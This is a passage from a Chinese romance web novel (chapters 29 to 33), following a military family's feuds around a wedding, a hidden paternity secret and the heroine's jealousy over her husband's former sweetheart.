他顿了顿,似乎有些不习惯说这样直白的话,耳根微微泛红,但眼神却愈发坚定。 “但我的未来……”他凝视着她,一字一句,清晰而又郑重地说道,“希望每一页,都有你。” 这番坦诚的告白,像一颗投入心湖的巨石,彻底击碎了白凝凝所有的不安和猜疑。 她心中一动,脸颊发热,声音小得像蚊子在叫:“那……那以后,请傅团长多多指教了。” 傅清寒看着她娇羞的模样,也是一阵心旌摇曳。他忍不住把人揽进怀里,刚准备吻下去的时候—— 詹骁又急匆匆地跑了回来,脸上带着笑!他手里拿着份电报,甚至忘了敲门! “团长!你家里的大喜事!” 他将一份电报拍在桌上。“什么时候请我们吃喜糖啊?” 傅清寒瞥他一眼,拿起电报,是傅老爷子发来的加急电报,上面只有短短几个字: “向阳下周大婚,速归。” 第29章 你的月份有点小啊 从海边回到京市的第三天,便是傅向阳和楚小小大婚的日子。 按照规矩,婚礼前一晚,所有在京市的家人都要回主宅聚一聚。 傅清寒和白凝凝一踏进主宅的门,就感受到了与以往截然不同的气氛。 客厅里,周玉芬一反常态地没有冷着脸,反而满面红光,脸上挂着炫耀的笑容,颇有几分扬眉吐气。 新娘子楚小小则穿着一身崭新的红裙子,小鸟依人地坐在傅向阳身边,手有意无意地抚摸着自己那尚未隆起的小腹。 “哎哟,清寒和凝凝回来啦!”周玉芬看到他们,立刻站起身,声音拔高了八度,生怕别人听不见,“快来快来,坐!明天向阳就结婚了,你们做小叔小婶的,这新婚贺礼,准备了没有啊?” 她一开口,就是赤裸裸地索要礼物,眼神里的贪婪和算计毫不掩饰。 傅清寒的脸已经冷了下来,正要开口。 白凝凝却按住了他的手,从随身的包里拿出一个早就准备好的厚厚红包,递了过去,脸上带着得体的微笑:“大嫂,这是我们的一点心意,祝向阳和侄媳妇新婚快乐,百年好合。” 她顿了顿,目光转向满脸不情愿的楚小小,语气平淡却不容置喙:“不过,弟妹,这拿了长辈的红包,是不是也该按规矩,改个口了?” 此言一出,楚小小的脸“唰”地一下就白了! 让她当着所有人的面,对着这个她最嫉妒、最痛恨的女人,恭恭敬敬地叫一声“小婶婶”?!这比杀了她还难受! 周玉芬也愣住了,她没想到白凝凝会来这么一招。 傅老爷子在一旁呷了口茶,淡淡地开口:“凝凝说得对。长幼有序,规矩不能乱。既然进了傅家的门,凝凝就是你的长辈” 老爷子一发话,就是板上钉钉! 楚小小死死地咬着下唇,求助地看向傅向阳,傅向阳却被傅清寒冰冷的眼神看得不敢作声。 最终,楚小小只能屈辱地、从牙缝里挤出三个字: “……小婶婶。” 那声音,比蚊子哼哼还小。 “什么?”白凝凝掏了掏耳朵,故作不解,“风大,没听清。” “你!”楚小小气得眼圈都红了。 “楚小小!”周玉芬虽然不爽,但更怕老爷子发火,只能低声喝道,“叫人!” 楚小小闭上眼睛,终于崩溃地、用尽全身力气喊了出来:“小婶婶!” “哎,真乖。”白凝凝满意地笑了,这才将红包递到她手上,那姿态,像是在打赏一个听话的晚辈。 周玉芬看着儿子和未来儿媳被如此羞辱,心中更是憋了一肚子火。她一把抢过红包,拆开一看,里面是厚厚一沓“大团结”,少说也有个千八百块。 拿到钱,她的气才顺了些。她清了清嗓子,为了扳回一城,立刻拿出杀手锏,瞥了一眼白凝凝平坦的小腹,故意扬起了手中的B超单,对着傅清寒和白凝凝炫耀道: “清寒啊,凝凝啊,你们看看!双喜临门,这可是我们傅家的第一个重孙,金贵着呢!你这一个红包可不太够啊!” “哦?”凝凝似笑非笑,“那可真是恭喜了?就是……我和清寒接到向阳和小小的婚讯电报,谁能想到是未婚先孕,奉子成婚?年轻人可真是…太奔放了…所以只带了一份红包”,凝凝眨眨眼,一脸的无辜,“随后等生了再你补上。” 未婚先孕,奉子成婚?这和指着鼻子骂有什么区别? 傅向阳和楚小小气得脸色涨红,但又无话可说。毕竟凝凝说得都是事实,又碍于刚刚傅老爷子已经把她抬到长辈的位置上,两人一肚子气憋不出来,只能死死瞪着笑眯眯的凝凝,恨不能上去把她脸撕烂。 一时间屋里一片沉寂。 相比之下周玉芬老辣多了,呼口气,很快想出了对策,“凝凝啊,我知道你眼气小小他们,没关系,将来让小小多生几个,给你过继一个过去。” 一句话,旁边的傅向阳像是找到了主心骨,尴尬愤恨一下子消失不见,颇有些得意看着自家小叔和凝凝。那意思就像是在说:怎么样?我们就算奉子成婚也比某些人生不出来强! 傅清寒面色一寒,这种事私下有人议论他管不着,但在当着父亲的面,挑明了就是在打他的脸。还不等凝凝开口,他先道:“用不着,我们不养外面的种。” 噗嗤,凝凝差点笑出声,周玉芬也是把傅清寒给惹急了。 傅老爷子在一旁也是听得脸色不虞。 周玉芬虽说是嫂子,但在这个小叔子面前向来都很怂,更何况现在老爷子看起来也不高兴,她不敢接他的话,而是避重就轻,转向一旁看起来更好欺负的凝凝身上:”说起来你可是神医,陈老总的病都让你治好了。当着全家人的面要不……你给你弟妹把把脉?看看我们这金孙,到底是个带把儿的,还是个丫头片子啊?” 这话,恶毒又封建!语气中还带了几份挑衅。 傅清寒周身的气压也瞬间降到了冰点,这个周玉芬简直在他的雷区疯狂蹦跶。 然而,出乎所有人意料的是,白凝凝竟然笑了。 她看着周玉芬,缓缓站起身,语气温和得像在哄小孩子:“好啊。既然大嫂信得过我,那我就给弟妹看一看。” 她这一手,让周玉芬和楚小小都愣住了。 楚小小的心,瞬间提到了嗓子眼!她怎么敢让白凝凝把脉?!她肚子里的孩子月份根本对不上! “不……不用了,小婶婶,”楚小小吓得脸色一白,连忙缩回手,强笑道,“我……我挺好的,就不劳烦您了。” “哎,这孩子,你客气什么!”周玉芬为了看白凝凝的笑话,根本没察觉到楚小小的异样,她一把抓住楚小小的手腕,直接递到了白凝凝面前,“让你看就看!你小婶婶是神医,让她看看胎像稳不稳,也是长辈的关心!” 这下,楚小小再也躲不掉了。 白凝凝的手指,轻轻地搭在了她那不停颤抖的手腕上。 只一瞬间。 白凝凝的眉头,就几不可察地微微蹙了一下。脉象滑而无力,气血亏虚,这的确是喜脉。但是……这脉象的力度,最多也就四周左右的样子。可B超单上,明明写着“孕八周”! 足足差了一个月! 难道有什么猫腻不成。白凝凝心中瞬间了然,但面上却不动声色。她收回手,迎上周玉芬那期待又算计的目光。 周玉芬立刻凑上来,压低声音,急切地问:“怎么样?怎么样?是男是女?” 她松开手,“男女之事,只能告诉孕妇本人。” “白凝凝!你这是什么意思?我自己的孙子!凭什么不告诉我!” 白凝凝也不理她,而是凑到楚小小身边,轻声说道:“恭喜你。左盛右衰,气血刚强,是个男孩儿的脉象。” 楚小小的瞳孔猛地一缩!又惊又喜!惊的是白凝凝真的能看出来,喜的是自己手里的这一张王牌可是金的,只要傅家唯一金孙的大树在,还发愁找不到地方乘凉? 看着楚小小眼中瞬间燃起的狂喜和野心,白凝凝直起身,这才对着客厅里的众人,语气中带着恰到好处的一丝担忧: “胎像是稳的。只是……”她话锋一转,“从脉象上看,这孩子……似乎有点太小了,也许是发育有些迟缓。大嫂,你可得让弟妹注意营养,别舍不得,得好好补补才行。” 这一句话,初听没什么,完全像是关心,但对心里有鬼的人可是晴天霹雳。 楚小小像是被人一脚从天堂踹到了地狱!她刚刚还在为“金孙”而狂喜,下一秒就被这句话打蒙了! 她怕,她怕周玉芬真的信了白凝凝的话,带她去医院做详细检查,那她月份不对的事就彻底暴露了! 情急之下,她只能恶人先告状,猛地站起身,声音尖利地哭喊起来:“小婶婶!你……你怎么能这么说!你怎么能诅咒我的孩子!” 她哭得梨花带雨,转向傅向阳和周玉芬:“向阳哥!妈!你们听听!小婶婶她……她就是嫉妒我!所以才故意说这种话来咒我的孩子!” 周玉芬本来还对白凝凝和楚小小说的悄悄话好奇得抓耳挠腮,此刻一听“孩子发育迟缓”,立刻就炸了,她指着白凝凝的鼻子就骂道:“白凝凝!你安的什么心!自己生不出来,就见不得别人生吗?我告诉你,我的金孙要是有个三长两短,我跟你没完!” 整个客厅,瞬间乱成一锅粥。 第30章 傅向阳和楚小小的婚礼 白凝凝看着眼前这颠倒黑白的一家人,只觉得无比荒谬和可笑。她懒得再争辩,只是站起身,笑了笑,“言尽于此,你们爱听不听。” 傅清寒走上前,将她护在身后,冰冷的目光扫过对面,声音冷得像冰:“我的妻子说他小,那就是小。你们自己好自为之。” 说完,他牵起白凝凝的手,头也不回地离开了这个乌烟瘴气的地方。 身后,楚小小还在哭哭啼啼。周玉芬则是一边骂着白凝凝恶毒,一边又真的被“孩子太小”这句话吓到了。她不敢拿自己的金孙冒险,立刻对傅向阳吼道:“还愣着干什么!赶紧去!把家里那只老母鸡杀了!给你媳妇好好补补!” 走出主宅的白凝凝,看着身边男人那紧绷的侧脸,轻声问道:“你就这么信我?” 傅清寒停下脚步,转过头,看着她的眼睛,那双深邃的黑眸里,是毫不动摇的信任。 “我信的不是医术。”他沉声道,“我信的是你。” 傅向阳和楚小小的婚礼,最终定在了一家不大不小的国营饭店。 周玉芬为了省钱,没有包下整个饭店,只是包了二楼的大厅。饭店一楼依旧对外营业,人来人往,嘈杂不堪,让这场本该隆重的婚宴,显得有些掉价。 但新娘子楚小小,却显得比预想中要体面。 她穿着一身当时颇为时髦的港风蕾丝婚纱,虽然不是顶级定制,但料子和款式都远胜于普通影楼的租赁品。 这是她之前在南方,利用重生的信息差给朋友出谋划策下倒卖小商品赚来的“第一桶金”,再加上昨天白凝凝施舍过来的“改口费”,加在一起为自己置办的“战袍”。 她不允许自己在这场婚礼上,显得太过寒酸。 她小腹里的胎儿,是她今天能站在这里的最大资本。而口袋里那笔不为人知的私房钱,则是她面对周玉芬的刻薄时,敢于叫板的底气。 傅向阳则是一身笔挺的军装,只是那张曾经意气风发的脸上,写满了挥之不去的烦躁和不甘。他甚至隐约觉得,楚小小最近花钱有些大手大脚,却又问不出个所以然来,这让他这个一家之主感到了一丝失控和被轻视。 当白凝凝挽着傅清寒的手臂,出现在宴会厅门口时,几乎所有的目光,都被瞬间吸引了过去。 他们甚至没有刻意打扮。 傅清寒只穿了一身剪裁合体的深色常服,白凝凝则是一件简单的米白色连衣裙。但那通身矜贵的气度,那份仿佛与生俱来的从容与默契,以及两人对视时,眼中那藏不住的浓情蜜意,足以碾压台上那对貌合神离的新人。 他们一出现,就毫不费力地,成了全场的焦点。 楚小小看着光彩照人的白凝凝,握着捧花的手不自觉地收紧。她以为自己有了钱、有了新衣服,就能和白凝凝站在同一起跑线上,却发现对方那种由内而外散发出的自信和幸福感,是她砸再多钱也买不来的。 婚宴在一种尴尬而又诡异的气氛中进行着。 傅向阳一杯接着一杯地灌着酒,酒精麻痹着他心中那无尽的悔恨、嫉妒和无能的狂怒。 他看着那个曾经对他百依百顺的女人,如今却成了他高不可攀的小婶婶,享受着他小叔毫无保留的宠爱和庇护,享受着连国家最高层都给予的荣耀。 而他自己呢?娶了一个家族倒台有了污点的女人,为了那么点彩礼和她、和母亲争吵不休,前途一片灰暗。 凭什么?! 宴席过半,白凝凝起身去洗手间。 傅向阳看到机会,立刻端着酒杯,摇摇晃晃地跟了上去,在走廊的拐角处,拦住了她。 “凝凝……”他红着一双眼,身上带着浓重的酒气。 “你干嘛?”凝凝皱着眉,实在是看不上这个一身酒气的男人。“按规矩,你该叫我一声小婶婶,我以为你已经知道规矩了。” “小婶婶?”傅向阳像是听到了天大的笑话,他靠得更近了,声音里带着哭腔和质问,“你告诉我!你是不是从来都没有爱过我?你这么快就嫁给我小叔,是不是就是为了报复我?为了看我笑话?!” 白凝凝眉头一皱,“傅向阳!请你自重,不要说这些不知所谓的话。我嫁给你小叔和你没有半毛钱的关系,你少自作多情了!” “自作多情?哈哈”傅向阳笑了,一把抓住了白凝凝的手腕。“你敢说你对我一点感情都没有?” “你喝多了,放手!”白凝凝的声音冷了下来,眼中闪过一丝厌恶,想甩开他,被被牢牢禁锢着,“傅向阳,请你自重!” “自重?”傅向阳像是听到什么可笑的事,俯下身,轻佻道:“凝凝,我小叔他生不了孩子,他在床上行吗?不如我给你一个,你看楚小小不都这么快怀上了吗?” 就在他嘴上不干不净,大放厥词的时候—— 一只铁钳般的大手,从旁边伸了过来,一把攥住了傅向阳的手腕! “咔嚓!” 一声令人牙酸的骨节错位声响起! “啊——!”傅向阳发出一声惨叫,整张脸瞬间痛得扭曲,手上的力道也随之松开。 傅清寒高大的身影,如同从地狱里走出的修罗,挡在了白凝凝面前。他那双黑眸里,此刻迸发出骇人至极的杀气,仿佛下一秒就要将傅向阳生吞活剥! “我上次说过什么?”傅清寒的声音,冷得像西伯利亚的寒流,每一个字都带着冰碴子,“再让我看到你碰她一下,我就拧断你的胳膊。” 他手上微微用力,傅向阳的手腕立刻传来一阵钻心的剧痛,让他“噗通”一声跪了下来,冷汗瞬间湿透了后背。 “小……小叔……我错了……我喝多了……我再也不敢了……”傅向阳的酒,在这一刻全醒了。他看着傅清寒那双想要杀人的眼睛,吓得屁滚尿流,语无伦次地求饶。 傅清寒将白凝凝完全护在身后,居高临下地看着他,眼神里的轻蔑和厌恶,如同在看一只肮脏的臭虫。 “滚。” 他像扔垃圾一样,甩开了傅向阳的手。 傅向阳连滚带爬地跑了。 傅清寒这才转过身,眼中的杀气瞬间褪去,取而代之的是满满的心疼和自责。他紧张地检查着白凝凝的手腕,看到那上面被傅向阳抓出的一圈红痕,眼神又冷了几分。 “他弄疼你了?” 白凝凝摇摇头:“我没事。” 傅清寒却抿着唇,心疼看着她手腕上的一圈红痕,“回去我给你上药。” 此时,宴会的一个角落里,一个穿着时髦夹克、长相俊美却带着一丝阴郁气质的年轻男人——赵宇轩。 他不是别人,正是曾和楚小小一起赚了第一桶金的南方朋友。 他呷了一口酒,瞥了一眼楚小小还不明显的小腹。眼神里充满了复杂的情绪——玩味中还有一丝……期待和算计。 楚小小未婚先孕,奉子成婚,这件事他再清楚不过。 傅向阳刚刚狼狈逃回宴席上,要开始新郎新娘开始敬酒的环节了,这环节他是新郎逃不掉,只能硬着头皮,忍着差点被小叔扭断的手腕带来的剧痛,带着楚小小去敬酒。 等到楚小小端着一杯以水代酒的杯子,走到一桌客人面前。一个小孩在桌子间追逐打闹,不小心撞了她一下。 楚小小脚下不稳,眼看就要摔倒! “小心!” 第31章 婚礼上的神秘男子 一声惊呼,不是来自新郎傅向阳,而是来自角落里的赵宇轩! 他竟比傅向阳的反应还要快,一个箭步冲上前,稳稳地扶住了楚小小的腰,并且脱口而出:“小心孩子!” 他的反应太过激,声音也太过紧张,瞬间引来了周围人异样的目光。 傅向阳这才反应过来,连忙上前用没受伤的手扶住楚小小,尴尬地对众人笑了笑。 而楚小小,在看到赵宇轩的脸时,脸色“唰”地一下,变得惨白如纸!她眼神里充满了惊慌,像是看到了鬼一样躲开,仿佛在躲避瘟疫。 “你……你怎么会来这里!” “怎么?我不能来吗?”赵宇轩看着楚小小惊慌失措的模样,嘴角的笑意更深了,语气里带着一丝玩世不恭,“我的好朋友,当然要来捧场了。” 他特意在“好朋友”三个字上,加重了语气,那意味深长的眼神,在楚小小和她的小腹上,来回扫视。 傅向阳此刻疼得厉害,又被刚才傅清寒吓破了胆,脑子一团乱麻,根本没注意到这其中的暗流涌动。 他只当这是楚小小请来的朋友,便拉着魂不守舍的楚小小,准备往走向下一桌走去,却被赵宇轩拦住,“傅先生,小小,恭喜恭喜。” 男人笑得像个斯文的绅士,眼神却貌似不经意在楚小小的小腹上溜了一圈,“我叫赵宇轩,是小小之前在南方的……一个朋友。这次来京市谈点生意,恰好赶上你们大婚,特来讨杯喜酒。” 傅向阳还因为刚才的事而心情郁卒,看这个突然冒出来的男人不怎么顺眼,但还是敷衍地点了点头。 楚小小的心却已经提到了嗓子眼!她万万没想到,赵宇轩竟然会不请自来!他来干什么?他刚才那句话是什么意思?! 楚小小强笑道:“赵……赵先生,谢谢你。” “赵先生?这么见外?”赵宇轩笑了一声,却带了几份嘲讽。像是没看到她的紧张,他从口袋里拿出一个精致的锦盒,递了过去,声音不大不小,却足以让周围几桌的人都听到: “一点小小的贺礼,不成敬意。是从港市带回来的安胎补品,听说对孕妇和……孩子,特别好。”他特意加重了“孩子”两个字的发音。 楚小小被吓得脸色发白,他一而再再而三提孩子干嘛?他知道什么了? 重活一世,她知道傅清寒无后,是傅向阳继承的家业,但周玉芬是个势利眼,自从自己父亲出事,家族一蹶不振,就看自己鼻子不是鼻子,眼不是眼。傅向阳也对自己忽冷忽热。 想进傅家的门,缠着傅向阳,奉子成婚,借机上位是她唯一的生路,但傅向阳实在是不争气。试了那么多次,傅向阳都没让自己怀孕。 她实在没办法,只能“另辟蹊径”去了南方一趟。 赵宇轩,是远方表哥认识的一个纨绔,出手阔绰,风流有趣,自己和他做了点小生意,彼此都有点那么点意思。 这次她去南方就是冲着借种那点事去的,女追男隔层纱,男人经不起撩拨,没几下两人很快就滚到了一起。 等她知道自己怀孕了,便随便找了个理由回京了。这也是她今天能穿上婚纱嫁进傅家的原因。 可她万万没想到,赵宇轩竟然会不请自来! 难道他已经猜到自己怀的孩子是他的了?他到底想干什么?是要敲竹杠吗? 见她这样,赵宇轩瞥了眼魂不守舍的傅向阳,趁其不备,俯下身,用只有他和楚小小能听到的声音,在她耳边,用淬了冰的语气,轻声说道: “你的眼光,似乎不怎么样。不过没关系,我的东西,就算暂时寄存在别人家里,也还是我的。” 说完,他直起身,对傅向阳和楚小小意味深长地一笑,便转身融入了宾客之中,仿佛刚才的一切都只是个错觉。 他知道了!他居然知道! 楚小小的后背,瞬间被冷汗浸湿。 赵宇轩这个男人,比她想象的难缠的多。他就像暗处带一条毒蛇,随时可能反咬一口。 跟着傅清寒出来的白凝凝将这一幕尽收眼底。 有意思,太有意思了,昨天把脉就觉得楚小小的这一胎太小了,月份不对,现在就看见这一幕,这孩子的来历,绝对不简单。 将来周玉芬要是知道她寄予厚望,几乎是押上所有的大宝居然来历不明,不清不楚,还不知道会怎样?岂不是要气死了? 想想就觉得好玩。 傅清寒见她眉眼弯弯,像只偷腥的小狐狸,不知道在盘算什么事,凑近到道:“想什么坏事呢?” 她嗔怪瞪他一眼,“我能想什么坏事?不过就是看了一出戏,觉得有趣。” 他挑了挑眉,“什么戏?” “没什么,以后有的看,”她知道远不到揭秘的时候,提前说可就漏气了,轻轻拽了拽傅清寒的衣袖,语气中带了几分不自知地娇憨:“走嘛,手腕都红了……你不是要给我上药,说话不算话啊?” 傅清寒目光微闪,知道她是不想说,俯下身刮了一下她的小鼻子,“淘气,刚刚不还说没事了?”说着,也不等她回答,便揽着她的腰,在众人艳羡的目光中,提前离席。 --- 婚礼结束后,楚小小正式开始了她在傅家的“少奶奶”生活。 然而,现实与她想象中的天差地别。 周玉芬因为彩礼和婚礼花销的事,对她横挑鼻子竖挑眼,每天指桑骂槐,把她当成免费保姆使唤。 而傅向阳,自尊心被反复碾压后,变得愈发颓废和暴躁。他不再对自己温言软语,两人常常因为一点小事就爆发激烈的争吵。 这天,是傅家约定俗成的家庭聚餐日。 傅清寒和白凝凝也回到了主宅。 饭桌上,气氛泾渭分明。 这一边,傅清寒旁若无人地为白凝凝挑着鱼刺,将剥好的虾仁放进她碗里。傅老爷子则笑呵呵地关心着白凝凝的身体,让她多吃点。氛围温馨而又甜蜜,而另一边,却是鸡飞狗跳。 周玉芬看到傅清寒对白凝凝的体贴,更是气不打一处来,便把火撒在了楚楚身上:“杵在那儿干什么?没看到向阳碗里空了吗?连自己男人都照顾不好,我们傅家娶你回来是当祖宗供着的吗?” 楚小小忍着恶心,刚想给傅向阳夹菜。 傅向阳却“啪”地一下摔了筷子,烦躁地吼道:“吃吃吃!就知道吃!烦不烦!” 一时间,饭桌上的气氛尴尬到了极点。 楚小小看着对面被丈夫和傅老爷子宠成公主的白凝凝,再看看自己身边这个粗俗不堪的婆婆和一无是处的丈夫,她觉得,自己就像掉进了一个泥潭,而白凝凝,却站在云端之上。 不行,忍住,小小。她在心里告诉自己,白凝凝嫁的再好,再风光有什么用? 这只是暂时的,傅清寒中看不中用,有苗不愁长,只要自己肚里的孩子长大。他们将来的东西,傅家的家产将来还不都是自己的? 第32章 吃得苦中苦;他的答案是什么? 楚小小自我安慰的话说着容易,做着难。 婚后的生活,对她而言,简直是一场不见天日的煎熬。 婆婆周玉芬的刻薄和丈夫傅向阳的颓废,让她每一天都处在压抑和争吵之中。傅向阳那点微薄的工资,在周玉芬的严格把控下,她连买件新衣服都要看人脸色。 而她之前在南方挣的那笔钱很快也捉襟见肘了。 就在她焦头烂额之际,赵宇轩主动找上了她。 两人约在一家隐蔽的咖啡馆见面。 “看你过得不怎么样,怎么会跟着那样的一个男人?”赵宇轩看着面前的楚小小。 楚小小尴尬笑了笑,她能说什么,说自己是重生的,知道傅向阳将来要继承家业? 自己只是在忍,现在吃得苦中苦,将来方为人上人。 赵宇轩也不计较,将一个厚厚的信封推到她面前,语气里带着一丝居高临下的怜悯,“拿着,给孩子的奶粉钱。我不想我的女人和孩子,受这种委屈。” 楚小小看着那笔钱,指甲深深地掐进了掌心。她恨这种被施舍的感觉,但又不得不承认,她需要这笔钱。“谢谢。”两个字从牙缝里挤出来。 赵宇轩挑挑眉,“这些钱不是一时的,授人以鱼不如授人以渔的道理,我想你不会没有听过吧?” “你到底想怎么样?”她警惕地问。 赵宇轩笑了,他身体微微前倾,像一条吐着信子的毒蛇:“我给你指条路。我南方的服装厂,能拿到一批款式新颖、价格极低的夏装。你公公傅建军,是后勤采购部门的主任,最近部队要换发一批夏季的作训服,你懂我的意思?” 楚小小心脏猛地一跳!她知道南方现在的服装生意利润有多大,这简直是送上门的肥肉! 赵宇轩继续蛊惑道:“你负责打通关系,我负责生产运输。利润,我们四六分,你四我六。你只需要吹吹枕边风,就能赚到你一辈子都赚不到的钱。” “你为什么要帮我,而且你怎么知道我就一定会答应?你不怕我去举报你吗?” 赵宇轩邪魅一笑,“因为你肚子里怀的是我的种,小小,你和傅向阳不过是名义上的夫妻,我们才是一家三口,对不对?” 楚小小抿唇,她知道这有风险,但也清楚这里面有多大的利益。孩子的事就是她的把柄,她不敢想象万一傅家知道了这个孩子是赵宇轩的,她的下场有多惨。 更何况,他说得也没错,因为这个孩子,他们两个绑在一起,是一条船上的蚂蚱。她咬了咬牙,收下了那个信封:“好,我答应你,但是这件事一定要小心。” 另一边,白凝凝的日子则要惬意得多。 她和新闺蜜秦悦约在“悦己”服装店里喝下午茶。 “什么?你们俩竟然跑去海边过二人世界了?太不够意思了!”秦悦听着白凝凝描述海边的风景,羡慕得直嚷嚷。 “好啊,到时候我陪你一起。”白凝凝笑着说,从随身的小包里,拿出了那个装着自制防晒膏的小瓷瓶,“喏,这个送你。” “哟,还有这好东西!谢啦宝贝儿!”秦悦眼睛一亮,接了过去。 两人正说笑着,一个穿着飞行员夹克、气质不羁的年轻男人走了进来。 “悦悦!我刚从西藏回来……”男人看到白凝凝时,话音一顿,随即吹了声口哨,“哟,店里来新客人了?还是个大美女!” “周子昂,你再这么油嘴滑舌,信不信我把你扔出去?”秦悦笑骂了一句,然后给白凝凝介绍道,“别理他,我发小,周子昂,跟清寒也是一个大院里穿开裆裤长大的。” “你好。”白凝凝礼貌地点点头。 秦悦起身去楼上试妆,周子昂的话匣子就彻底打开了。他并不知道眼前这位就是傅清寒的新婚妻子。 “哎,美女,你是悦悦的朋友?之前没见过你,是刚来京市的吗?” 凝凝笑笑,原主在京市一段时间了,但一直都寄养在傅家,所以对京市并不熟悉,便点点头。 周子昂见她长得漂亮,人也文静,不由得多了几分好感,话匣子一下子打开了。他故作深沉地喝了口茶,压低声音,一脸八卦地说道,“那你可能不知道,”“最近咱们这圈子里,最大的新闻就是林晚晴回来了!你不知道,当年她跟傅清寒,那可是咱们整个大院公认的‘金童玉女’!” 白凝凝端着茶杯的手,微微一顿。 周子昂却毫无察觉,开始滔滔不绝地讲述具体的往事: “我跟你说,那可不是我们瞎起哄!当年清寒那小子,就是个行走的冰山,对谁都爱答不理的。唯独对林晚晴,有那么点不一样。” “有一次,大院里组织射击比赛,林晚晴脱靶了,急得快哭了。清寒二话不说,走过去,手把手地教她!我跟你说,那姿势,他从身后抱着她,那叫一个亲密!我们一群人看得都傻眼了!” “还有还有,林晚晴生日,在家里办派对,拉小提琴。拉到一半,琴弦断了。所有人都手足无措,只有清寒,一个人一声不吭地冒着大雨跑出去,半个多小时后,浑身湿透地回来,手里拿着一根从专业乐团里借来的新琴弦!就为了让她把那首曲子拉完!” 周子昂说得眉飞色舞,每一个细节都描绘得活灵活现。 这些话,像刺一样扎进了白凝凝的心里。 原来,他不是天生冷漠,他也曾有过那样的“特殊对待”。 原来,他也曾为了一个女孩,冒雨奔走,只为博她一笑。 他还在教她打靶,还在背后抱着她…… 在她不知道的过往里,傅清寒的温柔和热情,曾给过另一个女人。 尽管知道理智上清楚那是之前的事,但她心里还是忍不住酸溜溜的。 周子昂像是没察觉到,还在感叹:“那时候,我们都以为这事板上钉钉了,傅爷爷都把家传的一块玉佩拿出来,准备当成聘礼了。谁知道……唉,造化弄人啊!” “玉佩?聘礼?” “是啊,傅家祖传的好东西,就那么一枚,连周玉芬都没有哦。哎,真是造化弄人啊。哎?大妹子,你的脸色怎么这么难看?” 白凝凝勉强挤出一丝笑:“没事,就是感慨。造化弄人。” 她的心一点点地沉了下去。 一种从未有过的、陌生的情绪,像藤蔓一样,悄悄地缠上了她的心脏,勒得她有些喘不过气。 她知道傅清寒对她很好,好到无以复加。可这份好,和当年他对林晚晴的好,又有什么区别呢? 他叫自己“小姑娘”,他是不是也曾对那个趾高气扬的林晚晴说过?他温柔体贴地照顾自己,给她上药,给她涂防晒霜,是不是也和她有什么亲密的接触?他在背后抱着她打靶离得有多近? 她忽然觉得胸口发闷到喘不过气。 那段被整个大院见证和期待的过去,是真实存在、不可磨灭的。而自己呢?她才认识他多久?几个月而已。 之前自己安慰,自我开解的“他的过去,我不在乎。”早就土崩瓦解了。 他曾和别的女人那么亲近!她怎么可能不在乎! 他和林晚晴真的郎有情妾有意的青梅竹马,那自己算什么?为什么他还能心无芥蒂地对自己好? 也许,他对自己好,只是出于一个军人的责任和感恩?因为自己治好了他,给了他新生? 也许,他对自己那些亲密的举动,只是因为自己是他名正言顺的妻子,或者……只是出于一个男人压抑了三年的本能和新鲜感? 如果当初,他没有受伤,林晚晴没有离开,他是不是就会顺理成章地,和那个被所有人期待的“金童玉女”走在一起?而自己,就永远只是个无关紧要的路人甲? 这个念头一旦冒出来,就再也挥之不去了。 她对他而言,究竟是“非你不可”,还是“恰好是你”? 这个答案,她忽然……没有信心去追寻了。 因为她怕,怕听到那个最残忍的答案。 第33章 原主的过往 傍晚,傅清寒推开小院的门,手里提着一袋热气腾腾的糖炒栗子,这是他下班路上特意绕远路去给白凝凝买的。 他以为会看到她笑着迎上来,接过栗子,像往常一样调侃他几句。 然而,迎接他的,却是满室的清冷。 白凝凝坐在灯下,手里捧着一本书,但傅清寒能看出来,她一个字都没看进去。她周身笼罩着一股疏离而又低落的气息,像是有什么心事。 “怎么了?”他走过去,将栗子放在桌上,伸手想去探她的额头,“不舒服?” 白凝凝却下意识地微微侧头,躲开了他的触碰。 傅清寒的手,就那么僵在了半空中,他的心,也随之一沉。 “凝凝,怎么了?” “没事,早点睡吧,我明天还要去医院。”周子昂白天的一番话,像一根刺一样戳进她心里,把心湖搅弄得乱七八糟。让她下意识躲避傅清寒。 他低头看她,小姑娘低着头,显然是在躲避自己的目光。明明昨天还好好的,“到底发生什么了?”他想伸手去摸了她的头发。 凝凝下意识躲开他的大手。“没什么,就是有点累。” 她也不知道自己该怎么办,该怎么面对他,是质问他,还是装作不在意的提起,还是可以忽略过去当做什么都没有发生。 傅清寒一愣,微微皱眉,倒也没再勉强,“那你早点休息,有事明天再说。” 第二天,凝凝起了个大早,去了军区医院。 作为“特邀专家顾问”,她答应了李院长每周会过来看看,看有没有什么疑难杂症需要她帮忙会诊。也许沉浸在工作里会好一些,不然她都觉得自己像个怨妇,都不像自己了。 顺便,她也想去看看孙立的手恢复得怎么样了。毕竟上次答应为他治疗,后续的康复情况也需要跟进。 到了医院,李院长热情地接待了她,并递给她一份棘手的病历。白凝凝很快沉浸在了对病情的分析中,暂时忘记了烦恼。会诊结束后,她又去了康复科,找到了正在做恢复训练的孙立。 “白……白顾问!”孙立看到她,立刻站得笔直,眼神里充满了敬畏和感激。 经过白凝凝几次的针灸治疗,他那双原本已经开始微颤的手,如今已经恢复了稳定。虽然还不能立刻上高精度的手术台,但已经看到了痊愈的希望。 “恢复得不错。”白凝凝为他检查了一下,又嘱咐了几句康复的注意事项,“继续坚持,别懈怠。” “是!谢谢白顾问!我……”孙立看着眼前这个清冷淡然、却拥有神乎其技医术的女人,脸上露出一丝复杂的、羞愧的神情。 他犹豫了半天,最终还是没忍住,用一种近乎自嘲的语气,低声说道: “白顾问,之前……是我有眼不识泰山,多有得罪。我不该……不该听信楚小小的一面之词,对您抱有那么大的敌意。” 白凝凝挑了挑眉,没说话。 孙立苦笑一声,继续道:“我真是瞎了眼,当初还觉得她是个单纯善良的好姑娘。没想到……呵,前脚还跟我搞着暧昧,后脚就怀着孕嫁给了傅向阳。我最近听院里传的,真是……自愧眼瞎。” 他这番话,一半是忏悔,一半也是在发泄自己被当成“备胎”的怨气。 白凝凝听着,心中并无波澜。楚小小是什么样的人,她比谁都清楚。她只是淡淡地点点头:“看人看事,用心看,别用耳朵听。你好自为之吧。” 她说完这些话,不知为何忽然想到了傅清寒。看人看事,用心看,不是只用用耳朵听,那是不是其实他和林晚晴其实也不像是表面上看的那样。 是因为自己太在意了所以才会一叶障目? 最起码自己也要找他问个清楚,而不是一个人在这里自怨自艾。 就在她反思是不是要找傅清寒问个清楚的时候,一个熟悉的身影出现在了康复科的门口。是傅向阳。 傅向阳这几天的日子也不好过。 